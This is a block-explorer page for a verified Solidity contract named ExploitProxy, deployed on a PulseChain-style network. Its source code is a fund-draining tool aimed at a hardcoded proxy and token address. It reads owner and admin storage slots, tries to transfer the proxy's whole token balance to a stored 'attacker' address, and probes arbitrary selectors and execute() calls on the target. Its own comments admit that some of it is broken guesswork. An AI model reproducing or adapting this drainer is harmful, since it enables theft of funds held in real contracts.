Skip to main content
PulseScanner.io

Address

0x5ddf73bbf3b14fadeb04761b98ccfdd49cc249dc
Current Holdings
$0.00
TXs sent
not counted
First Active
2026-06-07
block 26,728,817
Last Active
101 days ago
block 26,728,844
Funded By
not identified

Net worth historyi

No net-worth snapshots recorded yet
exact matchExploitProxysolc 0.8.26+commit.8a97fa7aruntime exact · creation exact
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IPRC20 {
    function transfer(address to, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

contract ExploitProxy {
    // Your deployed clone (the proxy CA)
    address public proxy   = 0x193822ca5fAd42Ca930098B398f2d689A40Cf839;
    address public token   = 0xefD766cCb38EaF1dfd701853BFCe31359239F305;
    address public attacker; // set in constructor

    constructor() {
        attacker = msg.sender;
    }

    // -------------------------------------------------------
    // DIAGNOSTIC: try common owner() slot reads directly
    // If owner is stored at slot 0 (common pattern)
    function readOwnerSlot0() external view returns (bytes32) {
        return _readSlot(proxy, 0);
    }

    // OpenZeppelin Ownable: owner at slot 0
    // OZ upgradeable: owner at EIP-1967 admin slot
    function readEIP1967AdminSlot() external view returns (address) {
        // keccak256("eip1967.proxy.admin") - 1
        bytes32 slot = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
        return address(uint160(uint256(_readSlot(proxy, uint256(slot)))));
    }

    function _readSlot(address target, uint256 slot) internal view returns (bytes32 val) {
        assembly {
            val := sload(add(target, 0)) // won't work cross-contract
        }
    }

    // -------------------------------------------------------
    // DRAIN: since initialize() passed with this contract as
    // the argument, try calling transfer directly on the proxy
    // using the PRC20 interface — proxy delegatecalls to impl
    // which may handle ERC20 transfer if it IS the token logic

    function drainViaDirectCall() external {
        uint256 bal = IPRC20(token).balanceOf(proxy);
        require(bal > 0, "No balance at proxy");
        // The proxy holds tokens, so we call transfer ON the TOKEN
        // contract telling it to move funds — but we need approval
        // OR the proxy itself must call transfer
        // Force the proxy to call token.transfer via low-level call:
        bytes memory data = abi.encodeWithSignature(
            "transfer(address,uint256)",
            attacker,
            bal
        );
        (bool ok, bytes memory ret) = proxy.call(data);
        require(ok, string(ret));
    }

    // -------------------------------------------------------
    // ALTERNATIVE: if the impl is itself a wallet/vault,
    // try calling execute() or withdrawToken() patterns
    function tryExecute(address to, bytes calldata data) external {
        (bool ok, bytes memory ret) = proxy.call(
            abi.encodeWithSignature("execute(address,uint256,bytes)", to, 0, data)
        );
        require(ok, string(ret));
    }

    // Generic: try arbitrary call on the proxy, inspect return
    function probeSelector(bytes4 sel) external returns (bool, bytes memory) {
        return proxy.call(abi.encodePacked(sel));
    }

    // -------------------------------------------------------
    // READ: token balance at the proxy address
    function proxyTokenBalance() external view returns (uint256) {
        return IPRC20(token).balanceOf(proxy);
    }
}